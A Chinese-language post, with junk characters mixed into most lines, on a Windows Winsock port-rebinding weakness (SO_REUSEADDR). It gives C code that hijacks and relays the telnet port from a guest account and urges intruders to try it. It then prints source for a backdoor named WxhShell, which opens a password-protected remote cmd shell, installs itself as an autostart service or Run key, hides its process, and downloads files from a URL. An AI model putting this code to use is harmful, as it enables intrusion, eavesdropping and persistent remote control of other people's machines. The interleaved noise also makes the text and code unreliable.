在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0-at#r: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e.'6q
($3 + t7n6 saddr.sin_family = AF_INET;
!v\_<8 Oe)B.{;Ph saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZcE:r+ Wi2Tg^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ZW@%>_JR] y!u=]BE
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
yKB&][)& hM "6-60 这意味着什么?意味着可以进行如下的攻击:
,SG-{ 8<:.DFq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v[XTH 2 i(mQbWpN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~]V}wZt>h d1BE;9*/7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|w+N(wcJ ',bSJ4)Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
tl"?AQcBR SUN!8
qFA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
LK:J kjp^ jBMGm"NE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|))O3]- [ f;o3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:d=:>_[ B>UF dj]- #include
3%L@=q #include
@/W~lJ!e #include
6%a:^f] #include
D^)?*( DWORD WINAPI ClientThread(LPVOID lpParam);
Ku`u%5< int main()
$2w][ d1 {
wCgi@\ WORD wVersionRequested;
7CDp$7v2 DWORD ret;
FH)_L1n WSADATA wsaData;
<?FkwW\? BOOL val;
i_f\dkol SOCKADDR_IN saddr;
`e4gneQY SOCKADDR_IN scaddr;
oM(8'{S= int err;
ac!!1lwA SOCKET s;
0b(x@> SOCKET sc;
@@V{W)rl int caddsize;
iHKX#* HANDLE mt;
<7
xX/Z}M DWORD tid;
7m4*dBTr wVersionRequested = MAKEWORD( 2, 2 );
b'%)?{E err = WSAStartup( wVersionRequested, &wsaData );
@! {Y9k2 if ( err != 0 ) {
Q N]y.(S)y printf("error!WSAStartup failed!\n");
7q(A& return -1;
W <u,S }
IXv9mr?H} saddr.sin_family = AF_INET;
)F_nK f"a _=_<cgy1u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G|b
I$ .$]-::& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"A]#KTP saddr.sin_port = htons(23);
\l1==,wk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mtmTlGp6Lc {
6aKfcvf & printf("error!socket failed!\n");
~L4L|q 7 return -1;
weH3\@ }
$38)_{ val = TRUE;
[\e/xY(4 //SO_REUSEADDR选项就是可以实现端口重绑定的
.Ta (v3om% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rXR!jZ.hi {
G%ZP` printf("error!setsockopt failed!\n");
d:pGdr& . return -1;
_<KUa\ }
:-Ml?:0_X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:%>)S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d7S?"JpV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*yv@B!r #$
4g&8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F+ %l=
fs {
S ,x';" ret=GetLastError();
r{KQ3j9O printf("error!bind failed!\n");
1Qw_P('} return -1;
=!\Y;rk }
qrf90F) listen(s,2);
qKrxln/T while(1)
Tje(hnN {
(K_{a+$[ caddsize = sizeof(scaddr);
oFGWI#]ts> //接受连接请求
O-huC:zZh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'<s54 Cb if(sc!=INVALID_SOCKET)
A*g-pJh {
adPd}rt; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]!j%Ad if(mt==NULL)
KP&xk13) {
m%=*3gH]& printf("Thread Creat Failed!\n");
gD2P)7: break;
l0U23i }
,q;?zcC7 }
VVDW=G CloseHandle(mt);
*E]:VZl
}
!ewT#afyu( closesocket(s);
_M+7)[xj= WSACleanup();
d8iq9AP\o return 0;
Ra"hdxH }
4,>9N9.?9 DWORD WINAPI ClientThread(LPVOID lpParam)
}'*6 A {
}m'n1tm;
SOCKET ss = (SOCKET)lpParam;
PQp =bX, SOCKET sc;
K:^0*5Y-k unsigned char buf[4096];
\Hdsy="Dnh SOCKADDR_IN saddr;
91]sO%3 long num;
px*1 3" DWORD val;
Y2;2Exp^ DWORD ret;
I]DD5l}\ //如果是隐藏端口应用的话,可以在此处加一些判断
s_a jA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
C}(@cn `L saddr.sin_family = AF_INET;
UOk\fyD2[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~d].<Be saddr.sin_port = htons(23);
,ryL("G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h[&"KA {
#q h
, printf("error!socket failed!\n");
zgH(/@P return -1;
Mc<u?H }
dt^h9I2O val = 100;
![sXR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*yaS^k\ {
'&'m#H*: ret = GetLastError();
*ziR &Fr! return -1;
DY9]$h*y }
I/%v`[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vbVOWX6 {
#c5jCy}n ret = GetLastError();
.] sJl return -1;
jj1\oyQ8 }
nYFrp)DLK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.w;kB}$YC {
ZZ7qSyBs? printf("error!socket connect failed!\n");
0/b
_T closesocket(sc);
u '7h(1@ closesocket(ss);
t*=[RS* return -1;
An$2='=/ }
xH xTL>,? while(1)
Vv45w#w; {
n{FjFlX2= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qh:Bc$S //如果是嗅探内容的话,可以再此处进行内容分析和记录
;Mup@)!j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
QYboX~g~p num = recv(ss,buf,4096,0);
IQRuqp KL if(num>0)
>m>F {v send(sc,buf,num,0);
0Gc@AG{ else if(num==0)
;~EQS.Qp break;
PDuc;RG num = recv(sc,buf,4096,0);
xwf-kwF8^ if(num>0)
+yp:douERi send(ss,buf,num,0);
.VCY|KZ else if(num==0)
\3$!) z break;
V}Y*Yv }
eHy UY&N/ closesocket(ss);
W&IG,7tr closesocket(sc);
ujZ`T0 return 0 ;
=/!lK& }
`8ac;b O\ZC$XF t$18h2yOL ==========================================================
k*\Bl4g =~GP;=6 下边附上一个代码,,WXhSHELL
(-21h0N[V <w{?b'/q ==========================================================
UX@%1W!8 #wI}93E #include "stdafx.h"
u]P| a%T`c/C
#include <stdio.h>
X0VSa{ #include <string.h>
L~Gr,i #include <windows.h>
C9!t&<\} #include <winsock2.h>
uiVNz8H #include <winsvc.h>
FH+X< #include <urlmon.h>
v;x0=I&% *an Ng<@ #pragma comment (lib, "Ws2_32.lib")
Y%XF64)6 #pragma comment (lib, "urlmon.lib")
ABN4kM>% |O{N_-];. #define MAX_USER 100 // 最大客户端连接数
_MBhwNBxZ #define BUF_SOCK 200 // sock buffer
a!9'yc #define KEY_BUFF 255 // 输入 buffer
jE\G_> R2,9%!iiX #define REBOOT 0 // 重启
)`DVPudiy #define SHUTDOWN 1 // 关机
T/_u;My; Vu:ZG*^ #define DEF_PORT 5000 // 监听端口
--K)7 srVWN:uuH #define REG_LEN 16 // 注册表键长度
L4>14D\ #define SVC_LEN 80 // NT服务名长度
1dQAo1 9/k2zXY // 从dll定义API
@dWA1tM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1l,fK)z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&C9IR,& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n-Iz!;q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.xT?%xSi/ q+?&w'8 // wxhshell配置信息
74Jx \(d struct WSCFG {
_3`GZeGV int ws_port; // 监听端口
cNWmaCLN$ char ws_passstr[REG_LEN]; // 口令
OrkcY39"~a int ws_autoins; // 安装标记, 1=yes 0=no
WLUgiW(0$ char ws_regname[REG_LEN]; // 注册表键名
x{1 v(n8+= char ws_svcname[REG_LEN]; // 服务名
TO6F char ws_svcdisp[SVC_LEN]; // 服务显示名
`<YMkp[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
7{#p'.nc5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2{ F-@}= int ws_downexe; // 下载执行标记, 1=yes 0=no
imM!Me 0TE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#{6VdWZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
O*u
LIDi0jbrq };
xA3_W G*=HjLmZg // default Wxhshell configuration
V%R]jbHZ# struct WSCFG wscfg={DEF_PORT,
ygz2bHpD~ "xuhuanlingzhe",
`oxBIn*BD 1,
$bE"3/uf "Wxhshell",
`wi+/^); "Wxhshell",
LphCx6f,X "WxhShell Service",
fzJiW@-T "Wrsky Windows CmdShell Service",
rmjuNy=( "Please Input Your Password: ",
*d8
%FQ 1,
Ftyxz&-4$p "
http://www.wrsky.com/wxhshell.exe",
;~F*2) "Wxhshell.exe"
CEj_{uf| };
!zK"y[V 3~sV- // 消息定义模块
)u(,.O[cw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,LBj$U]e|E char *msg_ws_prompt="\n\r? for help\n\r#>";
~BI`{/O= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C^$E#|E9 N char *msg_ws_ext="\n\rExit.";
M(>74(}] char *msg_ws_end="\n\rQuit.";
)a^&7 char *msg_ws_boot="\n\rReboot...";
ub?dfS9$_ char *msg_ws_poff="\n\rShutdown...";
5YrzOqg= char *msg_ws_down="\n\rSave to ";
:a8Sy(" f#c}}>V8 char *msg_ws_err="\n\rErr!";
'l<#;{ char *msg_ws_ok="\n\rOK!";
CV[ 9i BD"Dzq char ExeFile[MAX_PATH];
D?BegF int nUser = 0;
i6bUJtL HANDLE handles[MAX_USER];
56Lxr{+X int OsIsNt;
B}7j20:Z xZ'C(~t SERVICE_STATUS serviceStatus;
5]G%MB/|$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
@Ov}X]ELi =o~mZ/ 7=M // 函数声明
hrX/,D -c int Install(void);
|g hyH int Uninstall(void);
c{kpgN int DownloadFile(char *sURL, SOCKET wsh);
hvI#D>Z!Yp int Boot(int flag);
vAP1PQX; void HideProc(void);
PC5$TJnj3 int GetOsVer(void);
fx>QP?Z int Wxhshell(SOCKET wsl);
kP5I+B void TalkWithClient(void *cs);
I`+,I`~u int CmdShell(SOCKET sock);
/pRv
i>_(: int StartFromService(void);
y /vc\e int StartWxhshell(LPSTR lpCmdLine);
,]t_9B QK -V2f.QE% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|Fx *,91 VOID WINAPI NTServiceHandler( DWORD fdwControl );
{*;K>%r\o D<70rBf2 // 数据结构和表定义
9y[U\[H SERVICE_TABLE_ENTRY DispatchTable[] =
BW)@.!C {
VOYQ<tg {wscfg.ws_svcname, NTServiceMain},
(-J'x%2) {NULL, NULL}
+b_[JP2 };
|"}7)[BW} |)d%3s\ // 自我安装
jp"Q[gR## int Install(void)
tW!*W? {
x;SY80D char svExeFile[MAX_PATH];
\>9^(N HKEY key;
83]m/Iz strcpy(svExeFile,ExeFile);
y<HNAGj @[v,q_^8 // 如果是win9x系统,修改注册表设为自启动
7'At_oG if(!OsIsNt) {
Y9-F\t=~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
HS*Y%* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+P9eE,WR RegCloseKey(key);
7m%12=Im5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o/&K>]8M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4C?4M; RegCloseKey(key);
fVZ92Xw
B return 0;
n5oX 51J }
Xhyn! &H5 }
o[RwK }
3_9CREZCl else {
9,&xG\z= BK)<~I // 如果是NT以上系统,安装为系统服务
}tBw<7fe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
I5QtPqB> if (schSCManager!=0)
Kwm_Y5`A {
FjizPg/|! SC_HANDLE schService = CreateService
\N-3JO Vy (
86cnEj= schSCManager,
$y.0h( wscfg.ws_svcname,
,cS_687o wscfg.ws_svcdisp,
[+l6x1Am SERVICE_ALL_ACCESS,
F/1m&1t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E
?bqEW( SERVICE_AUTO_START,
\1#]qs - SERVICE_ERROR_NORMAL,
m6^#pqSL svExeFile,
4i&Rd1#0dI NULL,
X!ldL|Ua% NULL,
bJ9*z~z)e NULL,
*"Iz)Xzc` NULL,
yJ]Va $M NULL
zN;P_@U );
3b#L*- if (schService!=0)
@PLJ)RL {
Qv'x+GVW] CloseServiceHandle(schService);
}CZw'fhVWO CloseServiceHandle(schSCManager);
m]}U!XT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
tcRJ1:d strcat(svExeFile,wscfg.ws_svcname);
?WqaT) l~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9c*B%A8J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dHg[r|xC RegCloseKey(key);
Dm}M8`|X return 0;
Qm*ZOz'i }
z%T|L[(6 }
\RPwSx CloseServiceHandle(schSCManager);
|'P$zMAF }
%,<Ki]F }
%{3q=9ii XR[=W(m} return 1;
%I!2dXNFRF }
KZ#\ > ZQ*Us*9I // 自我卸载
FIVC~LDd int Uninstall(void)
m__pQu: {
Q (q&(/ HKEY key;
Z
zp"CK 5 u^JsKG+,: if(!OsIsNt) {
GP %hf{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[eOv fD RegDeleteValue(key,wscfg.ws_regname);
/K1cP>oE RegCloseKey(key);
1iLU{m9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u,d5/`E RegDeleteValue(key,wscfg.ws_regname);
;b1B*B RegCloseKey(key);
79d(UG'O return 0;
5F
^VvzNn }
}P{Wk7#Jq }
t&[<Dl/L }
yf8kBT:&S else {
)i[Vq|n YOrq)_ l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Fzt?M if (schSCManager!=0)
{ %]imf|g. {
Qr7v^H~E4. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,5ZQPICF if (schService!=0)
%8xRT@Q {
#RU8yT if(DeleteService(schService)!=0) {
Qe ip h CloseServiceHandle(schService);
q}VdPt>X/ CloseServiceHandle(schSCManager);
~gMt
U return 0;
m9i/rK_ }
qdv O>k3 CloseServiceHandle(schService);
iT,7jd?6# }
3T
gX]J@ CloseServiceHandle(schSCManager);
SUUN_w~ }
G\;6n }
6Xm'^T g; ]' return 1;
V(DY!f_% }
&g^*ep~|# 1,bE[_ // 从指定url下载文件
pe+h8 int DownloadFile(char *sURL, SOCKET wsh)
y*-_ {
.1{{E8Fj HRESULT hr;
pWJEFm char seps[]= "/";
S**eI<QFSk char *token;
hdrsa}{g char *file;
(4A'$O2 char myURL[MAX_PATH];
DmLx"%H3 char myFILE[MAX_PATH];
6:Z8d%Z 0.n[_?<( strcpy(myURL,sURL);
=uAy/S token=strtok(myURL,seps);
@&WHX# while(token!=NULL)
q=BljSX {
G7al@ file=token;
z^Ikb(KC token=strtok(NULL,seps);
[{BY$"b#: }
@y`xFPB Cg]),S GetCurrentDirectory(MAX_PATH,myFILE);
C=r2fc~w strcat(myFILE, "\\");
ZqVbNIY strcat(myFILE, file);
Xzf,S;XV~ send(wsh,myFILE,strlen(myFILE),0);
;'uQBx} send(wsh,"...",3,0);
qclc--fsE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
U"p</Q if(hr==S_OK)
%(lO>4>| return 0;
tULGfvp else
9 =;mY return 1;
"yaxHd `/P/2{,~ }
&o;0%QgF `9J9[!+!` // 系统电源模块
7D#y int Boot(int flag)
mSxn7LG {
U-u?oU-.' HANDLE hToken;
cA
q3Gh TOKEN_PRIVILEGES tkp;
cZ?QI6|[ fj5g\m if(OsIsNt) {
$El-pMq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/;Tc] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
g8%O^)d=> tkp.PrivilegeCount = 1;
]19VEH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
FoyYWj?,R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
EE!}$qOR if(flag==REBOOT) {
EX`P(=zD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`R[ZY!=+ return 0;
)O~[4xV~ }
St-uE|8 else {
mUh]`/MK$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
S }`sp[6 return 0;
^hC'\09=c }
5:h[%3'bB }
~t`s&t'c| else {
WD[eoi if(flag==REBOOT) {
85GIEUvH/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pSw/QO9 return 0;
~9dpB>+ }
Dsg>~J' else {
_8VP'S= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
yp.K- return 0;
HgF;[rq3Q }
EiW|+@1 }
pIJXP$v3 *x"80UXL return 1;
k&]nF,f }
rVYoxXv %fqR // win9x进程隐藏模块
_IDZ.\'>$ void HideProc(void)
TC\+>LXiZ {
&v{Ehkr* @c3xUK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4>hHUz[_ if ( hKernel != NULL )
9 E!le=> {
@X2*O9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
11[lc2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(\9`$ FreeLibrary(hKernel);
200yN+ ec }
!_<6}:ZB Ey46JO" return;
A =Wg0eYy\ }
dj0; tQ=C `Lf'/q // 获取操作系统版本
^:eZpQ [, int GetOsVer(void)
)+E[M!34 {
@;Ttdwg#J OSVERSIONINFO winfo;
nM
)C^$3<t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kSQ8kU_w+ GetVersionEx(&winfo);
AZtS4]4G) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4q$~3C[ return 1;
/:&!o2&1H else
kI\m0];KnQ return 0;
I2ek`t] }
XpQ Ol H"C'<(4*\ // 客户端句柄模块
'Wonz<{' int Wxhshell(SOCKET wsl)
]T4/dk&|o^ {
OZ,kz2SF# SOCKET wsh;
)?L=o0 struct sockaddr_in client;
5gszAvOO DWORD myID;
iTVe8eI qtGJJ#^, while(nUser<MAX_USER)
S;Bk/\2 {
PxHFH pL int nSize=sizeof(client);
29R-Up!SVN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!QUY ( if(wsh==INVALID_SOCKET) return 1;
L"L3n,%F T5BZD
+Ta handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^S9y7b^;r if(handles[nUser]==0)
Qy,^'fSN closesocket(wsh);
DT1gy:?L else
=lXj%V^8N nUser++;
30Yis_l2h }
$EMOz=)I# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
# kI> o9?@jjqH return 0;
X>%nzY]m }
W+nu=iQ! )vr@:PE // 关闭 socket
0bNvmZ$ void CloseIt(SOCKET wsh)
<3YZ0f f> {
LHAlXo; closesocket(wsh);
'nJF:+30ZH nUser--;
R+sT
&d ExitThread(0);
^\)a[OWp }
&[.5@sv xVvUx,t // 客户端请求句柄
qZoDeN-CC void TalkWithClient(void *cs)
]wQ!ZG?)
{
p:,Y6[gMo 8WP>u8& SOCKET wsh=(SOCKET)cs;
eh#37*- char pwd[SVC_LEN];
X/]@EF char cmd[KEY_BUFF];
vNv?trw char chr[1];
*2X6;~ int i,j;
J=V KuNLu31% while (nUser < MAX_USER) {
xQ?>72grP wI#8|,]"z if(wscfg.ws_passstr) {
_iwG'a[` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gfk)`>E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NgNGq\! //ZeroMemory(pwd,KEY_BUFF);
" T(hcI i=0;
7GA8sK while(i<SVC_LEN) {
-luQbGcT3 ! VwU=5 // 设置超时
<+8'H:wz fd_set FdRead;
}v1wpv/b( struct timeval TimeOut;
5Iu5N0cn FD_ZERO(&FdRead);
CB7dr&> FD_SET(wsh,&FdRead);
?7{U=1gb$ TimeOut.tv_sec=8;
*0WVrM06? TimeOut.tv_usec=0;
PSrx! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>T$0*7wF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;w{<1NH2+. EIi<g2pM( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
VA/2$5Wu pwd
=chr[0]; S :HOlJze
if(chr[0]==0xd || chr[0]==0xa) { o7y<Zd`Bj
pwd=0; NW|B|kc
break; *MJm:
} J,a&"eOZ
i++; HKN|pO3v
} 6iFlz9XiI
5C w(
4.
// 如果是非法用户,关闭 socket ktu?-?#0,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '.}}k!#
} B`pBIUu
GT>'|~e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m l`xLZN>L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w+$$uz
=g% L$b<i
while(1) { 3ML][|TR
[i.@q}c~E
ZeroMemory(cmd,KEY_BUFF); UBo0c?,4
YOxgpQ:i
// 自动支持客户端 telnet标准 NP>v@jO
j=0; ]&'!0'3`
while(j<KEY_BUFF) { /E>;O47a
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2:LUB)&i
cmd[j]=chr[0]; O{ :{P5
if(chr[0]==0xa || chr[0]==0xd) { YSjc=
cmd[j]=0; B<W}:>3
break; ~tUZQ5"
} "$BkO[IS
j++; P0N/bp2Uy
} t Cuvb
^&3vGu9
// 下载文件 bLT3:q#s
if(strstr(cmd,"http://")) { s/1r{;q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Vu}D(PJ
if(DownloadFile(cmd,wsh)) _/[qBe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %PW-E($o<
else b+s'B4@rb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 nt3gVy
} F6{g{
B
else { '!>9j,BJ
/%YW[oY{V
switch(cmd[0]) { nC:T0OJv
"jZZ>\
// 帮助 0+&WIs
case '?': { T*p7[}#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sbvP1|P8%
break; ueg%yvO
} (o>N*?,}
// 安装 ZllmaI
case 'i': { Y XhZWo{B
if(Install()) &0 QUObK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rpk8
else PpRS4*nR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AB=%yM7V*
break; XRaGV~
} RqROl!6
// 卸载 cGE{dWz
case 'r': { cfmwz~S6i
if(Uninstall()) jLFaf#G]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uahh|>s
else "t2T*'j{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1dD%a91
break; N\|B06X
} #m#IBRD :
// 显示 wxhshell 所在路径 HOD?i_
case 'p': { )~M@2;@L
char svExeFile[MAX_PATH]; gd[muR ~
strcpy(svExeFile,"\n\r"); 4n#u?)
strcat(svExeFile,ExeFile); &4E|c[HN
send(wsh,svExeFile,strlen(svExeFile),0); X&Oo[Z
break; 2tU3p<[
} MdX4Rp'
// 重启 kr$)nf
case 'b': { [KUkv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5ncW
s)
if(Boot(REBOOT)) j1Ys8k%$l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mq{Z
Q'
else { 9#H0|zL
closesocket(wsh); HubG>]
ExitThread(0); u%L6@M2
} C,;?`3bH@
break; mAH7;u<
} fq1w <e
// 关机 '3XOU.
case 'd': { hgZvti
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d%@0xsU1
if(Boot(SHUTDOWN)) H#F"n"~$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%Pn.E* r;
else { :WH{wm|
closesocket(wsh); QVn2`hr
ExitThread(0); 5hqXMs
} lBn<\Y!^
break; H94_a e
} Ym%#"
// 获取shell DN8I[5O
case 's': { uP7|#>1%
CmdShell(wsh); ~#EXb?#uS
closesocket(wsh); DvN_}h^nX
ExitThread(0); x1
LI&
break; 0?R$>=u
} 4o''C |ND
// 退出 'Q'-7z-6
case 'x': { **AJFc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qPN
CloseIt(wsh); 5m;pHgkb
break; Jbima>
} &xj40IZ
// 离开 c5CxR#O
case 'q': { $IKN7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WOYZ
closesocket(wsh); Q0PqyobD
WSACleanup(); D9(4%^HxV1
exit(1); P^-x
break; z:n
JN%Qb
} "{{@N4^
} 5W{|?l{
} F&/}x15
2}{[J
// 提示信息 |bRi bB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L8;`*H
} "|
oW6@
} )sEAPIka
j{5oXW
return; B*Q.EKD8s
} I7ySm12}
+c'I7bBr
// shell模块句柄 7
dG_E]&
int CmdShell(SOCKET sock) ^w
RD|
{ 'bef3P9`
STARTUPINFO si; iow8H' F
ZeroMemory(&si,sizeof(si)); @iz6)2z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RML'C:1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "%t !+E>nr
PROCESS_INFORMATION ProcessInfo; TwE&5F*
char cmdline[]="cmd"; ?y{"OuRf.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =1kjKE !
return 0; %8L5uMx
} _`94CC:
5.)/gK2$
// 自身启动模式 -E!V;Tgc%U
int StartFromService(void) )&elr,b/y
{ |B*`%7{+
typedef struct X/wqfP
{ j[1^#kE
DWORD ExitStatus; jd DcmR
DWORD PebBaseAddress; #^/&fdK~A
DWORD AffinityMask; hta$k%2
DWORD BasePriority;
t#g6rh&
ULONG UniqueProcessId; uRNc9
ULONG InheritedFromUniqueProcessId; `Tf<w+H
